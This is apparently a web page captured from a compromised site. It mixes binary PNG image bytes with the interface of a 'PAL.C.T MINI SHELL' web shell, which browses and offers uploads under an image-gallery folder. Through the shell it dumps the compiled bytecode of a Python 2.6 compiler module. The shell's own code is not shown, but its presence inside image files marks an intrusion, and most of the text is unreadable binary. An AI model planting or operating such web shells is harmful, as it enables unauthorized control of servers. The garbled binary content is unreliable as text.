php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/python2.6/compiler/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/python2.6/compiler/transformer.pyo

Lc/@sjdZddkTddkZddkZddkZdefdYZddklZl	Z	ddkl
Z
lZlZdZ
d	d
ZdZdZd
ZdfdYZeieieieieieieieieieieieieiei ei!ei"gZ#hdei$6dei%6dei&6dei'6dei(6dei)6dei*6Z+ei,ei-ei.ei/ei0ei1ei2eiei3ei4ei5ei6ei7ei8ei9ei:ei;ei<ei=ei>ei?ei@eiAeiBeiCeieieieieieieiDeieieieieiei ei!ei"eiEg)ZFeGedoeFiHeiIneGedoeFiHeiJneieieieieieieieieieiei ei!gZKhZLx'eiMiND]\ZOZPePeLeO<qWx'eiQiND]\ZOZPePeLeO<qCWdZRdS(sParse tree transformation module.

Transforms Python source code into an abstract syntax tree (AST)
defined in the ast module.

The simplest ways to invoke this module are via parse and parseFile.
parse(buf) -> AST
parseFile(path) -> AST
i(t*NtWalkerErrorcBseZRS((t__name__t
__module__(((s*/usr/lib/python2.6/compiler/transformer.pyR!s(t
CO_VARARGStCO_VARKEYWORDS(t	OP_ASSIGNt	OP_DELETEtOP_APPLYcCs3t|d}|id}|it|S(NtUs
(topentreadtclosetparse(tpathtftsrc((s*/usr/lib/python2.6/compiler/transformer.pyt	parseFile's
texeccCsY|djp
|djoti|S|djoti|StddS(NRtsingletevals4compile() arg 3 must be 'exec' or 'eval' or 'single'(tTransformert
parsesuitet	parseexprt
ValueError(tbuftmode((s*/usr/lib/python2.6/compiler/transformer.pyR
1s

cCsg}x|D]}t|do|i|iq
t|tdjo|itt|q
t|tgjo|it|q
|i|q
W|S(NtasList(NN(thasattrtappendRttypetNonettuple(tnodestltitem((s*/usr/lib/python2.6/compiler/transformer.pyR:scCsht|dtp	|dSxD|dD]8}t|to"t|}|dj	o|Sq(q(WdS(Nii(t
isinstanceR t
extractLineNoR(tasttchildtlineno((s*/usr/lib/python2.6/compiler/transformer.pyR%Hs	
cGsx|d}|tjoJyt||dSWqttj
o!t|Gt|G|GHqtXntdt|dS(Niis$Can't find appropriate Node type: %s(R!t	TypeErrortlenRtstr(targstkind((s*/usr/lib/python2.6/compiler/transformer.pytNodeRs

RcBs}eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZeZdZdZeZeZeZdZdZdZdZdZdZdZdZdZ dZ!dZ"dZ#dZ$dZ%d Z&d!Z'd"Z(d#Z)d$Z*d%Z+d&Z,d'Z-d(Z.d)Z/d*Z0d+Z1d,Z2d-Z3d.Z4d/Z5d0Z6d1Z7d2Z8d3Z9e9Z:e9Z;e9Z<d4Z=d5Z>d6Z?e?Z@d7ZAd8ZBd9ZCd:ZDd;ZEd<ZFd=ZGd>ZHd?ZId@ZJdAZKdBZLdCZMdDZNdEZOdFZPdGZQdHZRdIZSdJZTdKZUdLZVdMZWdNZXdOZYdPZZdQZ[dRZ\dSZ]dTZ^dUZ_dVZ`dWZadXZbdYZcdZZdd[Zed\Zfd]Zgd^Zhd_Zid`ZjdaZkdbZldcZmddZneoepdeodfZqdgZrdhZsn
diZqeoepdjodkZtdlZundmZvdnZwdoZxdpZydqZzdrZ{dsZ|dtZ}duZ~dwdvZRS(xsUtility object for transforming Python parse trees.

    Exposes the following methods:
        tree = transform(ast_tree)
        tree = parsesuite(text)
        tree = parseexpr(text)
        tree = parsefile(fileob | filename)
    cCsh|_xGtiiD]6\}}t||ot|||i|<qqW|i|iti<h|i	ti
6|iti6|i
ti6|iti6|iti6|iti6|iti6|_d|_dS(N(t	_dispatchtsymboltsym_nametitemsRtgetattrtcom_NEWLINEttokentNEWLINEt	atom_lpartLPARt	atom_lsqbtLSQBtatom_lbracetLBRACEtatom_backquotet	BACKQUOTEtatom_numbertNUMBERtatom_stringtSTRINGt	atom_nametNAMEt_atom_dispatchRtencoding(tselftvaluetname((s*/usr/lib/python2.6/compiler/transformer.pyt__init__hs	




cCsFt|tp
t|tpti|dd}n|i|S(s,Transform an AST into a modified parse tree.t	line_infoi(R$R tlisttparsertst2tupletcompile_node(RGttree((s*/usr/lib/python2.6/compiler/transformer.pyt	transformxs cCs|iti|S(s6Return a modified parse tree for the given suite text.(RQRMtsuite(RGttext((s*/usr/lib/python2.6/compiler/transformer.pyR~scCs|iti|S(s;Return a modified parse tree for the given expression text.(RQRMtexpr(RGRS((s*/usr/lib/python2.6/compiler/transformer.pyRscCs<t|tdjot|}n|i|iS(s@Return a modified parse tree for the contents of the given file.t(RR
RR(RGtfile((s*/usr/lib/python2.6/compiler/transformer.pyt	parsefilesc	Cs|d}|tijo%|d|_|d}|d}n|tijo|i|dS|tijo|i|dS|tijo|i|dS|tijo|i|dS|tijo|i|dS|tijo|i|dSt	d|fdS(Niiisunexpected node type(
R0t
encoding_declRFtsingle_inputt
file_inputt
eval_inputtlambdeftfuncdeftclassdefR(RGtnodetn((s*/usr/lib/python2.6/compiler/transformer.pyROs$


cCs7|dd}|tijo|i|dStS(Ni(R5R6tcom_stmttPass(RGR_R`((s*/usr/lib/python2.6/compiler/transformer.pyRYscCs|i|ti}|dj	o
d}nd}g}xN||D]B}|dtijo(|dtijo|i||qCqCWt|t	|S(Nii(
t
get_docstringR0RZRR5t	ENDMARKERR6tcom_append_stmttModuletStmt(RGtnodelisttdoctitstmtsR_((s*/usr/lib/python2.6/compiler/transformer.pyRZs

(cCst|i|dS(Ni(t
Expressiontcom_node(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyR[scCs_t|}|i|}d}x7||jo)t|||dd}|d7}q$W|S(Nii(R*RCtGetattr(RGRhtlistlenR#Rj((s*/usr/lib/python2.6/compiler/transformer.pytdecorator_names
cCsN|i|dd}t|djo|i||d}n|}|S(Nii(RpR*tcom_call_function(RGRhtfuncnameRT((s*/usr/lib/python2.6/compiler/transformer.pyt	decorators
cCs;g}x(|D] }|i|i|dq
Wt|S(Ni(RRst
Decorators(RGRhR2tdec_nodelist((s*/usr/lib/python2.6/compiler/transformer.pyt
decoratorss
cCs|ddtijo-|dgt|dd}|i|S|ddtijo<|i|dd}|i|dd}||_|StdS(Nii(R0R]RLR^RvR(RGRhR`Rvtcls((s*/usr/lib/python2.6/compiler/transformer.pyt	decorateds	cCst|djo|i|dd}nd}|dd}|dd}|dd}|dtijo |i|d\}}}nd	}}d}|i|d}	|i|d}
|	dj	o|
id=nt	||||||	|
d|S(
NiiiiiiiR(((
R*RvRR0tvarargslisttcom_arglistRcRmR!tFunction(RGRhRvR(RIR,tnamestdefaultstflagsRitcode((s*/usr/lib/python2.6/compiler/transformer.pyR]s  

c	Cs|ddtijo$|i|dd\}}}nd}}d}|i|d}t||||d|ddS(NiiiiR(((R0RyRzRmtLambda(RGRhR|R}R~R((s*/usr/lib/python2.6/compiler/transformer.pyR\s$
cCs|dd}|i|d}|ddtijo
g}n6|ddtijo
g}n|i|d}|i|d}|dj	o|id=nt||||d|ddS(NiiiiiR((	RcR5tCOLONtRPARt	com_basesRmRR!tClass(RGRhRIRitbasesR((s*/usr/lib/python2.6/compiler/transformer.pyR^&s


cCs|i|dS(Ni(Ra(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytstmt<scCsGg}x4tdt|dD]}|i|||qWt|S(Nii(trangeR*ReRg(RGRhRkRj((s*/usr/lib/python2.6/compiler/transformer.pytsimple_stmtCs
cCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyt
parametersJscCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyRyMscCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytfpdefPscCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytfplistSscCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytdotted_nameVscCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytcomp_opYscCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyttrailer\scCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytsliceop_scCs
tdS(N(R(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytargumentbsc	Cs|d}|i||d}t|djot|d|iS|ddtijofg}xAtdt|ddD]#}|i|i||t	qWt
||d|ddS|i|d}|i|d}t
||d|d|dStddS(NiiR(iiscan't get here(tlookup_nodeR*tDiscardR(R5tEQUALRRt
com_assignRtAssignt
com_augassigntcom_augassign_opt	AugAssignR(RGRhtentexprNodetnodeslRjtlvaltop((s*/usr/lib/python2.6/compiler/transformer.pyt	expr_stmtjs
!cCsg}t|djod}d}nB|ddtijo|i|d}d}n
d}d}x:t|t|dD] }|i|i||qW|ddtijot||d|ddSt	||d|ddS(NiiiiiR((
R*RR5t
RIGHTSHIFTRmRRtCOMMAtPrinttPrintnl(RGRhR2tstarttdestRj((s*/usr/lib/python2.6/compiler/transformer.pyt
print_stmt{s

cCs|i|dtS(Ni(RR(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytdel_stmtscCstd|ddS(NR(ii(Rb(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyt	pass_stmtscCstd|ddS(NR(ii(tBreak(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyt
break_stmtscCstd|ddS(NR(ii(tContinue(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyt
continue_stmtscCsWt|djottdd|ddSt|i|dd|ddS(NiR(ii(R*tReturntConstRRm(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytreturn_stmtscCs&|i|d}t|d|iS(NiR((RmRR((RGRhRT((s*/usr/lib/python2.6/compiler/transformer.pyt
yield_stmtscCsNt|djo|i|d}n
td}t|d|ddS(NiR(ii(R*RmRRtYield(RGRhRH((s*/usr/lib/python2.6/compiler/transformer.pyt
yield_exprscCst|djo|i|d}nd}t|djo|i|d}nd}t|djo|i|d}nd}t|||d|ddS(NiiiR(ii(R*RmRtRaise(RGRhtexpr3texpr2texpr1((s*/usr/lib/python2.6/compiler/transformer.pyt
raise_stmtscCs|i|dS(Ni(Rm(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytimport_stmtscCs%t|i|dd|ddS(NiR(ii(tImporttcom_dotted_as_names(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytimport_namescCsd}x$||ddjo|d7}q	W|d}||dtijo!|i||}|d7}nd}||ddtijo"t|dg|d|ddS||d||ddtij}t||i||d|ddSdS(	Nit.iRURR(i(RN(	R0Rtcom_dotted_nameR5tSTARtFromRR8tcom_import_as_names(RGRhtidxtleveltfromnameR_((s*/usr/lib/python2.6/compiler/transformer.pytimport_froms
'cCsVg}x5tdt|dD]}|i||dqWt|d|ddS(NiiR(i(RR*RtGlobal(RGRhR|Rj((s*/usr/lib/python2.6/compiler/transformer.pytglobal_stmts
cCs|i|d}t|djoG|i|d}t|djo|i|d}qwd}nd}}t|||d|ddS(	NiiiiiR(ii(RmR*RtExec(RGRhRRR((s*/usr/lib/python2.6/compiler/transformer.pyt	exec_stmts

cCs^|i|d}t|djo|i|d}nd}t||d|ddS(NiiiR(ii(RmR*RtAssert(RGRhRR((s*/usr/lib/python2.6/compiler/transformer.pytassert_stmts
cCsg}xetdt|ddD]G}|i||d}|i||d}|i||fq#Wt|ddjo|i|d}nd}t||d|ddS(NiiiiiR(i(RR*RmRRtIf(RGRhttestsRjttestNodet	suiteNodetelseNode((s*/usr/lib/python2.6/compiler/transformer.pytif_stmtscCst|i|d}|i|d}t|djo|i|d}nd}t|||d|ddS(NiiiiR(ii(RmR*RtWhile(RGRhRtbodyNodeR((s*/usr/lib/python2.6/compiler/transformer.pyt
while_stmt	scCs|i|dt}|i|d}|i|d}t|djo|i|d}nd}t||||d|ddS(NiiiiR(ii(RRRmR*RtFor(RGRht
assignNodetlistNodeRR((s*/usr/lib/python2.6/compiler/transformer.pytfor_stmtscCs
|i|S(N(tcom_try_except_finally(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyttry_stmt%scCs
|i|S(N(tcom_with(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyt	with_stmt(scCs
|i|S(N(tcom_with_var(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytwith_var+scCsnt|djo|i|dSg}x6|D].}|dtijo|i||q2q2Wt|S(Nii(R*RaR0RReRg(RGRhRkR_((s*/usr/lib/python2.6/compiler/transformer.pyRR.scCs|it|S(N(t
com_binarytTuple(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyttestlist>scCs`t|djo@|ddtijo(|i|d}|i||dS|i|S(Niii(R*R0tgen_forRmtcom_generator_expressionR(RGRhttest((s*/usr/lib/python2.6/compiler/transformer.pyt
testlist_gexpHs+cCst|djo*|ddtijo|i|dS|i|d}t|djoE|i|d}|i|d}t|||d|ddS|S(NiiiiR((R*R0R\RmtIfExp(RGRhtthenRtelse_((s*/usr/lib/python2.6/compiler/transformer.pyRNs+cCsMt|djo*|ddtijo|i|dS|it|S(Nii(R*R0R\RtOr(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytor_test\s+cCs|it|S(N(RtAnd(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytand_testcscCsC|i|d}t|djot|d|ddS|S(NiiR(i(RmR*tNot(RGRhtresult((s*/usr/lib/python2.6/compiler/transformer.pytnot_testgsc	Cs|i|d}t|djo|Sg}xtdt|dD]}||d}|d}|dtijoB|d}t|djo!|djo
d}qd}qnt|d}|dd}|i||i||fqJWt||d|S(	Niiiitnotsnot insis notR((RmR*RR5RDt
_cmp_typesRtCompare(	RGRhR_tresultsRjtnlR`RR(((s*/usr/lib/python2.6/compiler/transformer.pyt
comparisonns$



$cCs|it|S(N(RtBitor(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyRTscCs|it|S(N(RtBitxor(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytxor_exprscCs|it|S(N(RtBitand(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytand_exprscCs|i|d}xtdt|dD]}|i||}||ddtijo$t||gd|dd}q,||ddtijo$t||gd|dd}q,td||ddq,W|S(NiiiR(sunexpected token: %s(	RmRR*R5t	LEFTSHIFTt	LeftShiftRt
RightShiftR(RGRhR_Rjtright((s*/usr/lib/python2.6/compiler/transformer.pyt
shift_exprs$$cCs|i|d}xtdt|dD]}|i||}||ddtijo$t||gd|dd}q,||ddtijo$t||gd|dd}q,td||ddq,W|S(NiiiR(sunexpected token: %s(	RmRR*R5tPLUStAddtMINUStSubR(RGRhR_RjR((s*/usr/lib/python2.6/compiler/transformer.pyt
arith_exprs$$cCs|i|d}xtdt|dD]}|i||}||dd}|tijot||g}n|tijot||g}nZ|tijot	||g}n4|ti
jot||g}ntd||dd|_
q,W|S(Niiisunexpected token: %s(RmRR*R5RtMultSLASHtDivtPERCENTtModtDOUBLESLASHtFloorDivRR((RGRhR_RjRtt((s*/usr/lib/python2.6/compiler/transformer.pytterms 
cCs|d}|d}|i|d|dd}|tijot|d|dS|tijot|d|dS|tijot|d|d}n|S(NiiiR(i(RR5RtUnaryAddRtUnarySubtTILDEtInvert(RGRhteltR
R_((s*/usr/lib/python2.6/compiler/transformer.pytfactors

!cCs|i|d}xytdt|D]b}||}|dtijo,t||i||dgd|dS|i||}q)W|S(NiiR(i(RmRR*R5t
DOUBLESTARtPowertcom_apply_trailer(RGRhR_RjR((s*/usr/lib/python2.6/compiler/transformer.pytpowers
 cCs|i|dd|S(Ni(RE(RGRh((s*/usr/lib/python2.6/compiler/transformer.pytatomscCsB|ddtijotdd|ddS|i|dS(NiiR(i((R5RRRm(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyR7scCsB|ddtijotdd|ddS|i|dS(NiiR(i((R5tRSQBtListtcom_list_constructor(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyR9scCsB|ddtijotdd|ddS|i|dS(NiiR(i((R5tRBRACEtDictt
com_dictmaker(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyR;scCst|i|dS(Ni(t	BackquoteRm(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyR=scCs,t|dd}t|d|ddS(NiiR(i(RR(RGRhtk((s*/usr/lib/python2.6/compiler/transformer.pyR?scCs_|ioG|idjot|di|i}ntd|i|fSt|SdS(Nsutf-8s
iso-8859-1s# coding: %s
%s(sutf-8s
iso-8859-1(RFtunicodetencodeR(RGtlit((s*/usr/lib/python2.6/compiler/transformer.pytdecode_literals

cCsFd}x%|D]}||i|d7}q
Wt|d|ddS(NRUiR(ii(R"R(RGRhRR_((s*/usr/lib/python2.6/compiler/transformer.pyRAs
cCs t|ddd|ddS(NiiR(i(tName(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyRCscCs|i|dS(Ni(R/(RGR_((s*/usr/lib/python2.6/compiler/transformer.pyRscCs|i|d|dS(Nii(R/(RGR_((s*/usr/lib/python2.6/compiler/transformer.pyRmscGsttdS(N(RRR(RGR,((s*/usr/lib/python2.6/compiler/transformer.pyR4%scCsg}g}d}d}x|t|jo||}|dtijp|dtijo|dtijoO||d}|dtijo)|i|d|tB}|d}qn|t|jo\||d}|tijo||d}ntd||i|d|tB}nPn|i|i	||d}|t|joD||dti
jo,|i|i||d|d}nt|o
tdn|d}qW|||fS(Niiisunexpected token: %sis-non-default argument follows default argument(
R*R5RRRDRRRRt	com_fpdefRRmtSyntaxError(RGRhR|R}R~RjR_R
((s*/usr/lib/python2.6/compiler/transformer.pyRz+s>
(


+

cCs6|ddtijo|i|dS|ddS(Niii(R5R8t
com_fplist(RGR_((s*/usr/lib/python2.6/compiler/transformer.pyR$]scCsrt|djo|i|dSg}x:tdt|dD] }|i|i||qDWt|S(Nii(R*R$RRR (RGR_RLRj((s*/usr/lib/python2.6/compiler/transformer.pyR&cscCs_d}xN|D]F}t|tdjo'|ddjo||dd}q
q
W|d S(NRUiiRi((R(RGR_RIR`((s*/usr/lib/python2.6/compiler/transformer.pyRls*cCsQ|d}|i|dd}t|djo|dfS||ddfS(Niii(RR*R(RGR_tdot((s*/usr/lib/python2.6/compiler/transformer.pytcom_dotted_as_namets

cCsa|d}|i|dg}x:tdt|dD] }|i|i||q9W|S(Niii(R(RR*R(RGR_R|Rj((s*/usr/lib/python2.6/compiler/transformer.pyR~s
cCsJ|d}t|djo|dddfS|dd|ddfS(Niii(R*R(RGR_((s*/usr/lib/python2.6/compiler/transformer.pytcom_import_as_names
cCsa|d}|i|dg}x:tdt|dD] }|i|i||q9W|S(Niii(R)RR*R(RGR_R|Rj((s*/usr/lib/python2.6/compiler/transformer.pyRs
cCsGg}x:tdt|dD] }|i|i||qW|S(Nii(RR*RRm(RGR_RRj((s*/usr/lib/python2.6/compiler/transformer.pyRs
c
	Cs|ddtijo6t|i|d|i|dd|ddSg}d}d}x@tdt|dD]&}||}|dtijot|djoJ|i|d}t|djo|i	|dt
}qd}nd}}|i|||i||dfn|dtijo\|ddjo|i||d}q|dd	jo|i||d}qqyqyWt|i|d||d|dd}	|ot|	|d|ddS|	SdS(
NiiiiR(iitelsetfinally(
R5RDt
TryFinallyRmRRR*R0t
except_clauseRRRt	TryExcept(
RGRhtclausesRtfinallyNodeRjR_RRt
try_except((s*/usr/lib/python2.6/compiler/transformer.pyRs8


+#cCs|i|d}|i|d}|ddtijo
d}n|i|ddt}t|||d|ddS(NiiiiR((RmR5RRRRtWith(RGRhRTtbodytvar((s*/usr/lib/python2.6/compiler/transformer.pyRs
cCs|i|dS(Ni(Rm(RGRh((s*/usr/lib/python2.6/compiler/transformer.pyRscCs|dS(Ni((RGR_((s*/usr/lib/python2.6/compiler/transformer.pyRscCsG|i|}|ittttfjo|Std|iidS(sReturn node suitable for lvalue of augmented assignment

        Names, slices, and attributes are the only allowable nodes.
        scan't assign to %sN(Rmt	__class__R#tSlicet	SubscriptRnR%R(RGR_R"((s*/usr/lib/python2.6/compiler/transformer.pyRscCspxi|d}|titititifjo2t|djo|i||S|d}q|tjo.t|djo
tdn|d}q|ti	jo|ddti
jo
tdnt|djo|i|d}x^tdt|dD]C}||}|dt
ijo
tdn|i||}qW|i||d|S|d}q|ti
jo|dd}|t
ijo/|d}|dt
ijo
tdqXqi|t
ijo<|d}|dt
ijo
tdn|i||S|t
ijo|i|d|Stdqtd	|qdS(
Niiiscan't assign to operatoriscan't assign to ()scan't assign to []scan't assign to literalsbad assignment (%s)(R0texprlistRt
testlist_safeRR*tcom_assign_tuplet
_assign_typesR%RRRmRR5RRtcom_assign_trailerR8RR:Rtcom_assign_listRDtcom_assign_name(RGR_t	assigningR
tprimaryRjtch((s*/usr/lib/python2.6/compiler/transformer.pyRsN
%








cCs\g}x=tdt|dD]#}|i|i|||qWt|dt|S(NiiR((RR*RRtAssTupleR%(RGR_R?tassignsRj((s*/usr/lib/python2.6/compiler/transformer.pyR:s
!cCsg}xtdt|dD]g}|dt|jo-||ddtijo
tdqin|i|i|||qWt|dt|S(Niiis"can't assign to list comprehensionR((	RR*R0tlist_forR%RRtAssListR%(RGR_R?RCRj((s*/usr/lib/python2.6/compiler/transformer.pyR=s
!cCst|d|d|dS(NiR(i(tAssName(RGR_R?((s*/usr/lib/python2.6/compiler/transformer.pyR>scCs|dd}|tijo|i||d|S|tijo|i||d|S|tijo
tdntd|dS(Niiiscan't assign to function callsunknown trailer type: %s(R5tDOTtcom_assign_attrR:tcom_subscriptlistR8R%(RGR@R_R?R
((s*/usr/lib/python2.6/compiler/transformer.pyR<"s
cCst||d|d|dS(NiR(i(tAssAttr(RGR@R_R?((s*/usr/lib/python2.6/compiler/transformer.pyRH,scCst|}|djo"|d}|i||dSg}xDtd|dD]0}||}|i|i||dqTW||dt|S(s=Compile 'NODE (OP NODE)*' into (type, [ node1, ..., nodeN ]).iiiR((R*RRRR%(RGtconstructorRhR"R`R2Rj((s*/usr/lib/python2.6/compiler/transformer.pyR/s


$cCs;|i||d}t|to|St|gS(Ni(RR$Rg(RGR_R((s*/usr/lib/python2.6/compiler/transformer.pyRa;scCsN|i||d}t|to|i|in|i|dS(Ni(RR$RgtextendR!R(RGRkR_R((s*/usr/lib/python2.6/compiler/transformer.pyReBsRDcCsg}xtdt|D]p}||dtijo|i|d||S||dtijoqn|i|i||qWt	|d|di
S(NiiR((RR*R0RDtcom_list_comprehensionR5RRRmRR((RGRhtvaluesRj((s*/usr/lib/python2.6/compiler/transformer.pyRKs
cCso|dd}g}xE|o=|dd}|djo|i|dt}|i|d}t||g}|dd|_|i|t|djo
d}qW|i|d}q|djoq|i|d}	t	|	d|dd}
|i
i|
t|djo
d}qW|i|d}qtd	||fqWt||d|S(
NiitforiitifR(is,unexpected list comprehension element: %s %d(
RRRmtListCompForR(RR*Rt
com_list_itert
ListCompIftifsR%tListComp(RGRTR_R(tforsR
RRtnewforRtnewif((s*/usr/lib/python2.6/compiler/transformer.pyRMXs2




cCs|dS(Ni((RGR_((s*/usr/lib/python2.6/compiler/transformer.pyRR{scCsZg}x:tdt|dD] }|i|i||qWt|d|diS(NiiR(i(RR*RRmRR((RGRhRNRj((s*/usr/lib/python2.6/compiler/transformer.pyRs
RcCs|dd}g}xB|o:|dd}|djo|i|dt}|i|d}t||gd|dd}|i|t|djo
d}qT|i|d}q|djoq|i|d}	t|	d|dd}
|i	i|
t|djo
d}qT|i|d}qt
d	||fqWt|d
_t
t||d|S(NiiROiR(iRPis.unexpected generator expression element: %s %di(RRRmt
GenExprForRR*Rtcom_gen_itert	GenExprIfRTR%tTruet
is_outmosttGenExprtGenExprInner(RGRTR_R(RVR
RtgenNodeRWRRX((s*/usr/lib/python2.6/compiler/transformer.pyRs4





cCs|dS(Ni((RGR_((s*/usr/lib/python2.6/compiler/transformer.pyRZscCsug}xQtdt|dD]7}|i|i|||i||dfqWt|d|ddiS(NiiiR(i(RR*RRmRR((RGRhR2Rj((s*/usr/lib/python2.6/compiler/transformer.pyRscCs|dd}|tijo|i||dS|tijo|i||dS|tijo|i||dtStd|dS(Niiisunknown node type: %s(	R5R8RqRGtcom_select_memberR:RIRR%(RGtprimaryNodeRhR
((s*/usr/lib/python2.6/compiler/transformer.pyRscCs<|dtijo
tdnt||dd|dS(Nismember must be a nameiR(i(R5RDR%Rn(RGRbRh((s*/usr/lib/python2.6/compiler/transformer.pyRas
cCs|dtijot|gdt|Sg}d}d}}t|}d}xO||joA||}	|	dtijoB|dj	o
tdn|i||d}|d}qYnW|	dti	joB|dj	o
tdn|i||d}|d}qYn|i
|	||\}}
|djoHt|
to8t|	djo%|	ddt
ijo
tdn|i|
|d}qYWt||||dt|S(	NiR(is$already have the varargs indentifieris#already have the kwargs indentifieris&generator expression needs parenthesis(R5RtCallFuncR%RR*RR%RmRtcom_argumentR$R^R0RR(RGRbRhR,tkwt	star_nodet
dstar_nodetlen_nodelistRjR_R((s*/usr/lib/python2.6/compiler/transformer.pyRqs<








+

cCsRt|djoF|ddtijo.|i|d}d|i||dfSt|djo@|o
tdn|o
tdnd|i|dfS|i|d}|d}x6t|djo"|dtijo|d}qW|dtijotd|dnt|d|d|d}d|fS(	Niiiis!non-keyword arg after keyword args+only named arguments may follow *expressions#keyword can't be an expression (%s)R((	R*R0RRmRR%R5RDtKeyword(RGRhReRfRRR`R_((s*/usr/lib/python2.6/compiler/transformer.pyRds$+


'c	Cst|djo}|d}|ddtijp+t|djo-|ddtijo,|ddtijo|i|||Sng}x:tdt|dD] }|i|i||qWt	|||dt
|S(NiiiiR((R*R5RR0Rt	com_sliceRRt
com_subscriptR7R%(RGR@RhR?tsubt
subscriptsRj((s*/usr/lib/python2.6/compiler/transformer.pyRIs
+cCs|d}|d}|tijo |ddtijotS|tijpt|djo|i|S|i|S(Niii(R5RGtEllipsisRR*tcom_sliceobjRm(RGR_RAR
((s*/usr/lib/python2.6/compiler/transformer.pyRks

(#cCsEg}|ddtijo|itdd}n!|i|i|dd}|t|jo@||dtijo(|i|i|||d}n|itdxkt	|t|D]T}||}t|djo|itdq|i|i|dqWt
|dt|S(NiiiiR((R5RRRRRmR*R0RRtSliceobjR%(RGR_R2RjtjRA((s*/usr/lib/python2.6/compiler/transformer.pyRos"

+
cCsd}}t|djoF|ddtijo|i|d}q|i|d}n>t|djo*|i|d}|i|d}nt||||dt|S(NiiiiiR((RR*R5RRmR6R%(RGR@R_R?tlowertupper((s*/usr/lib/python2.6/compiler/transformer.pyRj@s
c
Cs|djo|d}|d}n|tijo]t|djo|i|dSx0|D](}|dtijo|i|SqaWdS|tijo8x0|D](}|dtijo|i|SqWdS|tijoM|ddti	jo0d}x"|D]}|t
|d}qW|SdS|tijp |tijp|tijo|i|dS|t
jo%t|djo|i|dSdS(NiiRU(RR0RRR*RcRRZRR5RBRRt
small_stmtt
_doc_nodes(RGR_R`RltsR
((s*/usr/lib/python2.6/compiler/transformer.pyRcNs>

  N(RRt__doc__RJRQRRRWRORYRZR[RpRsRvRxR]R\told_lambdefR^RRtt	flow_stmtt
compound_stmtRRRyRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR9t	testlist1R8RRRtold_testRRRRTRRRRRRRRR7R9R;R=R?R"RARCRRmR4RzR$R&RR(RR)RRRRRRRRR:R=R>R<RHRRaReRR0RRMRRRRZRRRaRqRdRIRkRoRjRRc(((s*/usr/lib/python2.6/compiler/transformer.pyR^s							
							!																																
												!				
			
	
													2					
		
			)	
			
	,		
		
					
	#
		"
				'			
	$	t<t>s==s<=s>=s!=RRcCs|g}xo|D]g}t|to|iti||q
t|to|i|q
|it|q
W|S(N(R$tintRt_namestgetR+t
debug_tree(RPR"R((s*/usr/lib/python2.6/compiler/transformer.pyRs(SRwtcompiler.astRMR0R5t
StandardErrorRtcompiler.constsRRRRRRR
RR%R.RRRR9RRRRRRTRRRRRRRRutLESStGREATERtEQEQUALRt	LESSEQUALtGREATEREQUALtNOTEQUALRR]R^RRtRyRRzRRRRRRRRRRRRRRRRRRR8Rt_legal_node_typesRRRRR;RR1R2Rtvttok_nameR(((s*/usr/lib/python2.6/compiler/transformer.pyt<module>	s
	
			
	







y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`